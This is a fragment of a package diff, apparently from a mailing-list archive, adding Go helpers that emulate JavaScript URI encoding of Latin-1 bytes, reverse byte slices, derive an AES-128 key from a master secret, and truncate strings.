+//   - b >= 0x80  -> %C2%XX (for 0x80-0xBF) or %C3%XX (for 0xC0-0xFF)
+//     because JS String.fromCharCode(b) creates U+00XX, which UTF-8 encodes
+//     as 0xC2 0xXX (for U+0080-U+00BF) or 0xC3 0xXX-0x40 (for U+00C0-U+00FF).
+func encodeURIComponent(data []byte) string {
+       var buf bytes.Buffer
+       for _, b := range data {
+               switch {
+               case b == 0:
+                       buf.WriteString("%00")
+               case b >= 'A' && b <= 'Z',
+                       b >= 'a' && b <= 'z',
+                       b >= '0' && b <= '9',
+                       b == '-', b == '_', b == '.', b == '~':
+                       buf.WriteByte(b)
+               case b == '!', b == '\'', b == '(', b == ')', b == '*':
+                       fmt.Fprintf(&buf, "%%%02X", b)
+               case b < 0x80:
+                       fmt.Fprintf(&buf, "%%%02X", b)
+               case b < 0xC0:
+                       // U+0080-U+00BF -> UTF-8: 0xC2 0xXX
+                       fmt.Fprintf(&buf, "%%C2%%%02X", b)
+               default:
+                       // U+00C0-U+00FF -> UTF-8: 0xC3 0x(XX-0x40)
+                       fmt.Fprintf(&buf, "%%C3%%%02X", b-0x40)
+               }
+       }
+       return buf.String()
+}
+
+// reverse returns a copy of b with bytes reversed.
+func reverse(b []byte) []byte {
+       r := make([]byte, len(b))
+       for i := range b {
+               r[i] = b[len(b)-1-i]
+       }
+       return r
+}
+
+// makeKey derives an AES-128 key from the master secret.
+func makeKey(masterKey []byte, magic string) []byte {
+       h := sha256.New()
+       h.Write(masterKey)
+       h.Write(make([]byte, 40))
+       h.Write([]byte(magic))
+       h.Write(bytes.Repeat([]byte{0xf2}, 40))
+       return h.Sum(nil)[:16]
+}
+
+func truncate(b []byte, n int) string {
+       s := string(b)
+       if len(s) > n {
+               return s[:n]
+       }
+       return strings.TrimSpace(s)
+}

++++++ vendor.tar.gz ++++++
++++ 5709 lines of diff (skipped)

Reply via email to